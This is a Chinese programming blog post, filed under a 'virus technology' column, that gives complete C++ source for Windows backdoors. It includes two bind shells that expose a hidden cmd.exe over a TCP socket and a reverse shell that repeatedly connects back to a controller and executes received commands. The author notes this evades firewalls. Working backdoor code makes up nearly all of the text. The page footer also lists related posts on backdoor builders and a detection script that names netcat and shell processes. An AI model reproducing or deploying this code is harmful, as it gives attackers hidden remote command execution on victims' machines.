Windows下管道型后门及反向shell编写与总结(C++)

最新推荐文章于 2023-11-27 20:49:17 发布
最新推荐文章于 2023-11-27 20:49:17 发布
阅读量714 收藏 3
点赞数 1
分类专栏： 病毒技术 文章标签： c++
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-NC-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_37232329/article/details/120393753
版权

1. 双管道被动连接型后门

#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WinSock2.h>
#include <iostream>
#include <windows.h>
#include <cstdlib>
#include <iostream>
#include <urlmon.h>
#include <WinInet.h>
#include <ctime>
#define CMD_LINE_LEN 512
#define RECV_BUF_LEN 4096
using namespace std;

#pragma comment(lib, "WinInet.lib")
#pragma comment(lib, "urlmon.lib")
#pragma comment(lib, "ws2_32.lib")

BOOL fExit = FALSE;

struct ThreadInfoNode
{
	SOCKET hSock;
	HANDLE hPipe;
};


int SndMsg(SOCKET hSock, char *szBuf, int nSize)
{
	int iOffset = 0;
	int iCurr = 0;

	if (INVALID_SOCKET == hSock ||
		NULL == szBuf ||
		nSize <= 0)
	{
		return(-1);
	}
	
	do
	{
		iCurr = send(hSock, szBuf + iOffset, nSize, 0);
		if (iCurr == SOCKET_ERROR)
		{
			break;
		}
		iOffset += iCurr;
		nSize -= iCurr;
	} while (nSize > 0);

	return(iOffset);
}

// 该线程用于从客户端接收命令并将其写入hWritePipe1
DWORD WINAPI ThreadInputProc(
	LPVOID lpThreadParameter
	)
{
	ThreadInfoNode stNode = *(ThreadInfoNode *)lpThreadParameter;
	HANDLE hPipe = stNode.hPipe;
	SOCKET hSock = stNode.hSock;
	char szCmdLine[CMD_LINE_LEN] = { 0 };
	int iRet = 0;
	DWORD dwWritten = 0;
	BOOL fOk = FALSE;

	while (!fExit)
	{
		RtlZeroMemory(szCmdLine, CMD_LINE_LEN);
		iRet = recv(hSock, szCmdLine, CMD_LINE_LEN, 0);
		if (iRet > 0 && SOCKET_ERROR != iRet)
		{
			if (!_stricmp("exit\n", szCmdLine))
			{
				fExit = TRUE;
			}
			WriteFile(hPipe, szCmdLine, iRet, &dwWritten, NULL);
		}
		else
		{
			WriteFile(hPipe, "exit\n", sizeof("exit\n"), &dwWritten, NULL);
			fExit = TRUE;
			break;
		}
		Sleep(50);
	}

	return(0);
}

// 该线程用于从cmd进程中获取结果并将其传送到远端
DWORD WINAPI ThreadOuputProc(
	LPVOID lpThreadParameter
)
{
	ThreadInfoNode stNode = *(ThreadInfoNode *)lpThreadParameter;
	HANDLE hPipe = stNode.hPipe;
	SOCKET hSock = stNode.hSock;
	char szBuf[RECV_BUF_LEN] = { 0 };
	DWORD dwReaded = 0;
	DWORD dwTotalAvail = 0;
	BOOL fOk = FALSE;

	while (!fExit)
	{
		RtlZeroMemory(szBuf, RECV_BUF_LEN);
		dwTotalAvail = 0;
		fOk = PeekNamedPipe(hPipe, NULL, 0, NULL, &dwTotalAvail, NULL);
		if (fOk && dwTotalAvail > 0)
		{
			fOk = ReadFile(hPipe, szBuf, RECV_BUF_LEN, &dwReaded, NULL);
			if (fOk && dwReaded > 0)
			{
				SndMsg(hSock, szBuf, dwReaded);
			}
			Sleep(50);
		}
		
	}

	return(0);
}

BOOL StartShell(const char *pcszIP, UINT uiPort)
{
	BOOL fRet = FALSE;
	SOCKADDR_IN stSockAddr = { 0 };
	SOCKADDR_IN stClntSockAddr = { 0 };
	SOCKET hSock = INVALID_SOCKET;
	SOCKET hClntSock = INVALID_SOCKET;
	HANDLE hProcess = NULL;
	HANDLE hReadPipe0 = NULL, hWritePipe0 = NULL;
	HANDLE hWritePipe1 = NULL, hReadPipe1 = NULL;
	HANDLE hThreadInput = NULL, hThreadOutput = NULL;
	HANDLE hThreads[2] = { 0 };
	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	SECURITY_ATTRIBUTES sa = { 0 };

	int iAddrLen = sizeof(stClntSockAddr);
	int iRet = 0;
	WSADATA wsaData = { 0 };

	__try
	{
		WSAStartup(MAKEWORD(2, 2), &wsaData);

		hSock = socket(AF_INET, SOCK_STREAM, 0);
		if (INVALID_SOCKET == hSock)
		{
			__leave;
		}
		stSockAddr.sin_addr.S_un.S_addr = inet_addr(pcszIP);
		stSockAddr.sin_port = htons(uiPort);
		stSockAddr.sin_family = AF_INET;

		iRet = bind(hSock, (SOCKADDR *)&stSockAddr, sizeof(stSockAddr));
		if (SOCKET_ERROR == iRet)
		{
			__leave;
		}
		iRet = listen(hSock, 5);
		if (SOCKET_ERROR == iRet)
		{
			__leave;
		}

		hClntSock = accept(hSock, (SOCKADDR *)&stClntSockAddr, &iAddrLen);
		if (INVALID_SOCKET == hClntSock)
		{
			__leave;
		}

		sa.bInheritHandle = TRUE;
		sa.lpSecurityDescriptor = NULL;
		sa.nLength = sizeof(sa);

		// 创建2条管道
		if (!CreatePipe(&hReadPipe0, &hWritePipe0, &sa, 0) || 
			!CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0))
		{
			__leave;
		}

		// cmd产生的结果写入pipe0的写端, 木马服务端把远程服务器的命令写入pipe1的写端
		// cmd从pipe1的读端接收命令，木马服务端从pipe0的读端读取命令
		si.cb = sizeof(STARTUPINFO);
		GetStartupInfo(&si);
		si.hStdError = si.hStdOutput = hWritePipe0;
		si.hStdInput = hReadPipe1;
		si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
		si.wShowWindow = SW_HIDE;

		char szCmdLine[MAX_PATH] = { 0 };
		char szBuf[MAX_PATH] = { 0 };

		// 获取CMD路径
		iRet = ExpandEnvironmentStringsA("%COMSPEC%", szCmdLine, MAX_PATH);
		if (!iRet)
		{
			GetSystemDirectory(szBuf, MAX_PATH);
			strcpy_s(szCmdLine, sizeof(szCmdLine), szBuf);
			strcpy_s(szCmdLine, sizeof(szCmdLine), "\\cmd.exe");
		}
		// 创建CMD进程
		fRet = CreateProcess(NULL, szCmdLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
		if (!fRet)
		{
			__leave;
		}
		ThreadInfoNode stNodeInput = { hClntSock, hWritePipe1 };
		// 该线程用于从客户端接收命令并将其写入hWritePipe1
		hThreadInput = CreateThread(NULL, 0, ThreadInputProc, &stNodeInput, 0, NULL);
		if (NULL == hThreadInput)
		{
			__leave;
		}
		ThreadInfoNode stNodeOutput = { hClntSock, hReadPipe0 };
		// 该线程用于从cmd进程中获取结果并将其传送到远端
		hThreadOutput = CreateThread(NULL, 0, ThreadOuputProc, &stNodeOutput, 0, NULL);
		if (NULL == hThreadOutput)
		{
			__leave;
		}

		// 阻塞到这，直到线程结束
		hThreads[0] = hThreadInput;
		hThreads[1] = hThreadOutput;
		WaitForMultipleObjects(2, hThreads, TRUE, INFINITE);
	}
	__finally
	{
		WSACleanup();
		if (INVALID_SOCKET != hSock)
		{
			closesocket(hSock);
			hSock = INVALID_SOCKET;
		}
		if (INVALID_SOCKET != hClntSock)
		{
			closesocket(hSock);
			hSock = INVALID_SOCKET;
		}
		if (NULL != hProcess)
		{
			CloseHandle(hProcess);
			hProcess = NULL;
		}
		if (NULL != hThreads[0])
		{
			CloseHandle(hThreads[0]);
			hThreads[0] = NULL;
		}
		if (NULL != hThreads[1])
		{
			CloseHandle(hThreads[1]);
			hThreads[1] = NULL;
		}
		if (NULL != hReadPipe0)
		{
			CloseHandle(hReadPipe0);
			hReadPipe0 = NULL;
		}
		if (NULL != hReadPipe1)
		{
			CloseHandle(hReadPipe1);
			hReadPipe1 = NULL;
		}
		if (NULL != hWritePipe0)
		{
			CloseHandle(hWritePipe0);
			hWritePipe0 = NULL;
		}
		if (NULL != hWritePipe1)
		{
			CloseHandle(hWritePipe1);
			hWritePipe1 = NULL;
		}
	}

	return(TRUE);
}

int APIENTRY WinMain(HINSTANCE hInstance,
	HINSTANCE hPrevInstance,
	LPTSTR    lpCmdLine,
	int       nCmdShow)
{
	StartShell("127.0.0.1", 8880);

	return 0;
}

2. 单管道被动连接型后门

这种后门的方式与反弹shell的思路是一样，就不实现了。其特点是节省了一个管道。但消耗了更多资源并且无法执行类似cd之类切换目录的操作。主要思想是每次传来的命令就创建一个cmd.exe执行，该cmd进程执行完命令后就消亡。这样cd之类的命令就无法执行了，因为cmd进程都消亡了cd也没有意义。

3. 无管道被动连接型后门

#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WinSock2.h>
#include <iostream>
#include <windows.h>
#include <cstdlib>
#include <iostream>
#include <ctime>
#define CMD_LINE_LEN 512
#define RECV_BUF_LEN 4096
using namespace std;

#pragma comment(lib, "ws2_32.lib")



BOOL GetCmdPath(char *pszResultBuf, size_t nSize, const char *pcszCmd = "")
{
	int iRet = 0;

	if (NULL == pcszCmd || !nSize || NULL == pszResultBuf)
	{
		return(FALSE);
	}
	iRet = ExpandEnvironmentStringsA("%COMSPEC%", pszResultBuf, nSize);
	if (!iRet)
	{
		GetSystemDirectory(pszResultBuf, nSize);
		strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), "\\cmd.exe");
	}
	iRet = strlen(pcszCmd);
	if (iRet)
	{
		strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), " /c ");
		strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), pcszCmd);
	}

	return(TRUE);
}

BOOL StartShell(UINT uiPort)
{
	WSADATA wsaData = { 0 };
	int iRet = 0;
	SOCKET hSock = INVALID_SOCKET;
	SOCKET hClntSock = INVALID_SOCKET;
	SOCKADDR_IN stClntSockAddr = { 0 };
	SOCKADDR_IN stSockAddr = { 0 };
	int iSizeOfSockAddr = sizeof(stClntSockAddr);
	char szCmdLine[CMD_LINE_LEN] = { 0 };
	BOOL fOk = FALSE;
	PROCESS_INFORMATION pi = { 0 };
	STARTUPINFO si = { 0 };

	do
	{
		iRet = WSAStartup(MAKEWORD(2, 2), &wsaData);
		if (SOCKET_ERROR == iRet)
		{
			return(FALSE);
		}
		hSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
		if (INVALID_SOCKET == hSock)
		{
			break;
		}
		stSockAddr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
		stSockAddr.sin_port = htons(uiPort);
		stSockAddr.sin_family = AF_INET;

		iRet = bind(hSock, (SOCKADDR *)&stSockAddr, sizeof(stSockAddr));
		if (SOCKET_ERROR == iRet)
		{
			break;
		}
		iRet = listen(hSock, 5);
		if (SOCKET_ERROR == iRet)
		{
			break;
		}

		hClntSock = accept(hSock, (SOCKADDR *)&stClntSockAddr, &iSizeOfSockAddr);
		if (INVALID_SOCKET == hClntSock)
		{
			break;
		}

		si.cb = sizeof(STARTUPINFO);
		GetStartupInfo(&si);
		si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
		si.hStdError = si.hStdInput = si.hStdOutput = (HANDLE)hClntSock;
		si.wShowWindow = SW_HIDE;

		if (!GetCmdPath(szCmdLine, CMD_LINE_LEN))
		{
			break;
		}
		if (!CreateProcessA(szCmdLine, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
		{
			break;
		}
		WaitForSingleObject(pi.hProcess, INFINITE);
		fOk = TRUE;

	} while (FALSE);

	if (NULL != pi.hThread)
	{
		CloseHandle(pi.hThread);
	}
	if (NULL != pi.hProcess)
	{
		CloseHandle(pi.hProcess);
	}
	if (INVALID_SOCKET != hSock)
	{
		closesocket(hSock);
		hSock = INVALID_SOCKET;
	}
	if (INVALID_SOCKET != hClntSock)
	{
		closesocket(hClntSock);
		hClntSock = INVALID_SOCKET;
	}
	WSACleanup();

	return(fOk);
}

int APIENTRY WinMain(HINSTANCE hInstance,
	HINSTANCE hPrevInstance,
	LPTSTR    lpCmdLine,
	int       nCmdShow)
{
	StartShell(5555);

	return 0;
}

4. 单管道主动型后门(反弹Shell)

这个后门的最大特点是控方作为服务端而被控端为客户端， 由于是由被控端主动请求连接主控端，所以不会有防火墙阻止之类的问题   

#include <winsock2.h>
#include <windows.h>
#include <iostream>
#include <cstring>
#define CMD_LEN_BUF 512
#define	RECV_LEN_BUF 4096

#pragma comment(lib, "ws2_32.lib")

using namespace std;

BOOL fExit = FALSE;

struct ThreadInfoNode 
{
	HANDLE hPipe;
	SOCKET hSock;
};

DWORD WINAPI RecvResultAndSendToServer(LPVOID lpThreadParameter)
{
	ThreadInfoNode stNode = *(ThreadInfoNode *)lpThreadParameter;
	HANDLE hPipe = stNode.hPipe;
	SOCKET hSocket = stNode.hSock;
	char szBuf[RECV_LEN_BUF] = {0};
	int iRet = 0;
	DWORD dwTotalAvail = 0;
	BOOL fOk = FALSE;
	DWORD dwReaded = 0;

	while (!fExit)
	{
		fOk = PeekNamedPipe(hPipe, NULL, 0, NULL, &dwTotalAvail, NULL);
		if (fOk && dwTotalAvail > 0)
		{
			fOk = ReadFile(hPipe, szBuf, RECV_LEN_BUF, &dwReaded, NULL);
			if (fOk && dwReaded > 0)
			{
				int iCurr = 0;
				int iOffset = 0;
				do 
				{
					iCurr = send(hSocket, szBuf + iOffset, dwReaded, 0);
					if (!iCurr || iCurr == SOCKET_ERROR)
					{
						fExit = TRUE;
						break;
					}
					iOffset += iCurr;
					dwReaded -= iCurr;
					Sleep(50);
				} while (dwReaded > 0);
			}
			RtlZeroMemory(szBuf, RECV_LEN_BUF);
			
		}
	}
	
	return(0);
}

BOOL GetCmdPath(char *pszResultBuf, size_t nSize, const char *pcszCmd = "")
{
	int iRet = 0;

	if (NULL == pcszCmd || !nSize || NULL == pszResultBuf)
	{
		return(FALSE);
	}
	iRet = ExpandEnvironmentStringsA("%COMSPEC%", pszResultBuf, nSize);
	if (!iRet)
	{
		GetSystemDirectory(pszResultBuf, nSize);
		strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), "\\cmd.exe");
	}
	iRet = strlen(pcszCmd);
	if (iRet)
	{
		strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), " /c ");
		strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), pcszCmd);
	}

	return(TRUE);
}


BOOL StartShell(const char *pcszIP, UINT uiPort)
{
	SOCKET hSock = INVALID_SOCKET;
	SOCKADDR_IN stSockAddr = {0};
	HANDLE hReadPipe = NULL, hWritePipe = NULL;
	HANDLE hThread = NULL;
	SECURITY_ATTRIBUTES sa = {0};
	STARTUPINFO si = {0};
	PROCESS_INFORMATION pi = {0};
	WSADATA stData = {0};
	int iRet = 0;

	if (NULL == pcszIP)
	{
		return(FALSE);
	}
	__try 
	{
		if (SOCKET_ERROR == WSAStartup(MAKEWORD(2, 2), &stData))
		{
			return(FALSE);
		}
		hSock = socket(AF_INET, SOCK_STREAM, 0);
		if (INVALID_SOCKET == hSock)
		{
			__leave;
		}
		stSockAddr.sin_family = AF_INET;
		stSockAddr.sin_port = htons(uiPort);
		stSockAddr.sin_addr.S_un.S_addr = inet_addr(pcszIP);

		// connect one time every 0.5 min interval 
		do 
		{
			iRet = connect(hSock, (SOCKADDR *)&stSockAddr, sizeof(stSockAddr));
			Sleep(500);
		} while (SOCKET_ERROR == iRet);
		sa.bInheritHandle = TRUE;
		sa.lpSecurityDescriptor = NULL;
		sa.nLength = sizeof(sa);
		if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0))
		{
			__leave;
		}
		si.cb = sizeof(STARTUPINFO);
		GetStartupInfo(&si);
		si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
		si.wShowWindow = SW_HIDE;
		si.hStdError = si.hStdOutput = hWritePipe;
		
		ThreadInfoNode stNode = {hReadPipe, hSock};

		hThread = CreateThread(NULL, 0, RecvResultAndSendToServer, &stNode, 0, NULL);
		if (NULL == hThread)
		{
			__leave;
		}
		char szCmdLine[CMD_LEN_BUF] = {0};
		char szCmdBuf[CMD_LEN_BUF] = {0};
		do 
		{
			// get command from remote server
			iRet = recv(hSock, szCmdBuf, CMD_LEN_BUF, 0);
			if (!iRet || SOCKET_ERROR == iRet)
			{
				break;
			}
			// build command
			if (!GetCmdPath(szCmdLine, CMD_LEN_BUF, szCmdBuf))
			{
				continue;
			}
			// create cmd.exe process to execute command
			if (!CreateProcess(NULL, szCmdLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
			{
				continue;
			}
			// if recieve command "exit", terminate process and sub-thread
			if (strstr(szCmdBuf, "exit\n"))
			{
				break;
			}
			RtlZeroMemory(szCmdBuf, CMD_LEN_BUF);
			Sleep(100);
		} while (TRUE);
		fExit = TRUE;
		WaitForSingleObject(hThread, INFINITE);
	}
	__finally 
	{
		if (NULL != hReadPipe)
		{
			CloseHandle(hReadPipe);
			hReadPipe = NULL;
		}
		if (NULL != hWritePipe)
		{
			CloseHandle(hWritePipe);
			hWritePipe = NULL;
		}
		if (INVALID_SOCKET != hSock)
		{
			closesocket(hSock);
			hSock = INVALID_SOCKET;
		}
		if (NULL != pi.hProcess)
		{
			CloseHandle(pi.hProcess);
			pi.hProcess = NULL;
		}
		if (NULL != pi.hThread)
		{
			CloseHandle(pi.hThread);
			pi.hThread = NULL;
		}
	}

	return(TRUE);
}

int APIENTRY WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd )
{
	StartShell("127.0.0.1", 9999);

	return(0);
}

(完)

Kiopler
关注
  • 1
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
双管道（CreatePipe）与cmd.exe进程间通信的有关问题 完美解决代码
11-17
双管道（CreatePipe）与cmd.exe进程间通信的有关问题 完美解决代码 ，发布啦
渗透测试-window反弹shell
lza20001103的博客
05-11 4031
window反弹shell
Windows编程之管道技术
MessCodes
06-21 1253
不知你是否用过这样的程序，他们本身并没有解压缩的功能，而是调用DOS程序PKZIP完成ZIP包的解压缩。但是在程序运行时又没有DOS控制台的窗口出现而且一切本应该在DOS下显示的信息都出现在了那个安装程序的一个文本框里。这种设计既美观又可以防止少数眼疾手快的用户提前关了你的DOS窗口。 　　现在就来讨论一下，如何用匿名管道技术实现这个功能。 　　管道技术由来已久，相信不少人对DOS命令里的管
WINDOWS 管道编程
CrazyBOY
08-02 2649
因为工作的要求，要做一个格式化程序，找了很多资料，发现管道的代码都差不多，一气之下，自己写了个     //pipe attribute    SECURITY_ATTRIBUTES         sa;        sa.bInheritHandle         = TRUE;       sa.nLength                = sizeof(SECURITY
命名管道编程的原理及实现
qtycr的专栏
02-26 3027
概述 管道（Pipe）实际是用于进程间通信的一段共享内存，创建管道的进程称为管道服务器，连接到一个管道的进程为管道客户机。命名管道（NamedPipes）是在管道服务器和一台或多台管道客户机之间进行单向或双向通信的一种命名的管道。一个命名管道的所有实例共享同一个管道名，但是每一个实例均拥有独立的缓存与句柄，并且为客户——服务通信提供有一个分离的管道。实例的使用保证了多个管道客户能够在同一时间使用
linux 管道 （单管道与双管道）
weixin_72727553的博客
09-07 730
linux 管道 （单管道与双管道）
Windows平台创建控制台程序并实现双向管道（Pipe）
Ti-蜗牛的博客
12-05 781
Windows平台创建控制台程序并实现双向管道（Pipe）语言：ObjectPascal，DELPHI11 3. 读取控制台程序输出 *** OVER *** 上张图 需要源码参考到 yxydev.com 找找有时间发上去。
windows编程 IPC 管道
zhengjihao的博客
09-02 416
同步对象：管道(Pipe) 管道是一种用于在进程间共享数据的机制，其实质是一段共享内存。Windows系统为这段共享的内存设计采用数据流I/0的方式来访问。由一个进程读、另一个进程写，类似于一个管道两端，因此这种进程间的通信方式称作“管道”。 管道分为匿名管道和命名管道。 1.匿名管道只能在父子进程间进行通信，不能在网络间通信，而且数据传输是单向的，只能一端写，另一端读。 2.命令管道可
C/C++开发，win下命名管道通信压力测试实现（含c++示例代码）
技术需要分享
09-11 1214
win下命名管道通信压力测试实现，利用win c++标准函数CreateNamedPipe、ConnectNamedPipe、WriteFile、ReadFile、CloseHandle等创建、连接、使用、关闭的管道操作函数，本测试中，同时有300百个线程对管道进行数据写入及读取操作，测试完成10万次数据写入及读取操作，以实现本地系统进程间通信压力测试。
12_Windows管道技术快速入门
最新发布
成长需要沉淀。
11-27 555
因为我们是在父子进程间进行通信，而管道是在父进程中创建的，假设要从父进程传输内容到子进程，那么父进程要通过写句柄往管道中写入数据，子进程必须要通过继承，来拿到读句柄 便于从管道中读取数据。管道都是成对的，创建一个管道就拥有一个读句柄和一个写句柄。匿名管道有一个最大的问题，完成一次父子进程的通信，需要两个管道。父进程通过管道把命令发送给子进程，子进程再通过管道把结果传给父进程后，父进程把结果返回给主控端。假设有A进程与B进程，A进程将数据写入管道，B进程从管道中读取数据，显然这便完成了一次进程间数据传输。
winspy:WinSpy Windows反向外壳后门创建器，带有自动IP Poisener
03-19
winspy：具有IP Poisener的Windows Reverse Shell Backdoor Creator 依存关系 1-metasploit框架 2-xterm 3-apache2 安装 sudo apt-get install git git clone https://github.com/TunisianEagles/winspy.git cd ...
c++ cmdshell反弹型后门
07-01
反弹型后门 把自身注入到IE中 反向链接服务端 用NC 来监听就可以 大家可以发挥想象 把其他代码补全 (Rebound-type back door to reverse itself into the link into IE to listen with the NC server can imagine we...
Linux下查找后门程序 CentOS 查后门程序的shell脚本
01-20
每个进程都会有一个PID，而每一个PID都会在/proc目录下有一个相应的目录，这是linux（当前内核2.6）系统的实现。 一般后门程序，在ps等进程查看工具里找不到，因为这些常用工具甚至系统库在系统被入侵之后基本上已经...
简单的Linux查找后门思路和shell脚本分享
09-15
主要介绍了简单的Linux查找后门思路和shell脚本分享,本文的方法相对简单,提了一个思路和简单的Shell实现脚本,需要的朋友可以参考下
windows使用管道简单示例
xiaohongmao663832的博客
11-23 1022
环境: windows10 + vs2015。
The Windows Pipes Programming - windows“管道”编程 之 "匿名管道"
weixin_34409741的博客
08-12 56
何为“管道”？ “管道”是进程间通讯的一段共享内存区域。创建管道的进程成为管道服务器，连接到管道上的进程成为管道客户端。一个进程向管道写数据，其他进程可以从管道中读取数据。 “管道的分类” 管道分为两种，匿名管道和命名管道。匿名管道比命名管道需要的开销要小，但是提供的功能要少。管道在这里的含义暗示着它是一种连接信息的管子。管子有两端，单工通讯的管道允许在写端的进程把信息写入管子，在读端的进程...
反弹shell原理与实现
悦分享
08-02 3270
反弹shell（reverse shell），就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。reverse shell与telnet，ssh等标准shell对应，本质上是网络概念的客户端与服务端的角色反转。假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标ip：目标机器端口），这是比较常规的形式，我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。...
Windows系统编程之进程间通信
donixli1314的专栏
01-16 647
标 题: Windows系统编程之进程间通信 作 者: 北极星2003 时 间: 2006-05-25,14:18 链 接: http://bbs.pediy.com/showthread.php?t=26252 Windows系统编程之进程间通信作者：北极星2003来源：看雪论坛（www.pediy.com）Windows 的IPC（进
安全之路 —— C/C++实现后门的服务自启动
雨者
05-04 2187
简介 Windows NT系统后门要实现自启动，有许多种方法，例如注册表自启动，映像劫持技术，SVCHost自启动以及本章节介绍的服务自启动等方法，其中服务自启动相对于上述其他三种需要修改注册表的启动方式而言更不容易被发现。 C++代码样例 ////////////////////////////////////////////////////////////// // // F...
编写shell脚本进行后门查杀
05-14
首先，需要了解当前系统上存在的后门类型和相应的特征。可以通过查看系统日志、网络连接、进程列表等方式进行初步排查。 然后，可以编写一个shell脚本，定期运行并对系统进行检测。以下是一个简单的示例脚本： ``` #!/bin/bash # 检测常见的后门进程 ps -ef | grep -E 'nc|netcat|telnet|bash|sh|zsh|python' | grep -v grep # 检测是否存在异常的网络连接 netstat -anp | grep -E 'nc|netcat|telnet|bash|sh|zsh|python' # 检测是否存在异常的文件或目录 find / -name '.ssh' -type d -exec ls -ld {} \; find / -name 'authorized_keys' -type f -exec ls -l {} \; # 检测是否存在异常的计划任务 ls -la /etc/cron* # 检测是否存在异常的用户或组 cat /etc/passwd | grep -E 'root|admin|test' cat /etc/group | grep -E 'root|admin|test' ``` 该脚本会检测常见的后门进程、异常的网络连接、异常的文件或目录、异常的计划任务、异常的用户或组等情况。如果发现任何异常，需要及时进行处理，并且进一步加强系统的安全性。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值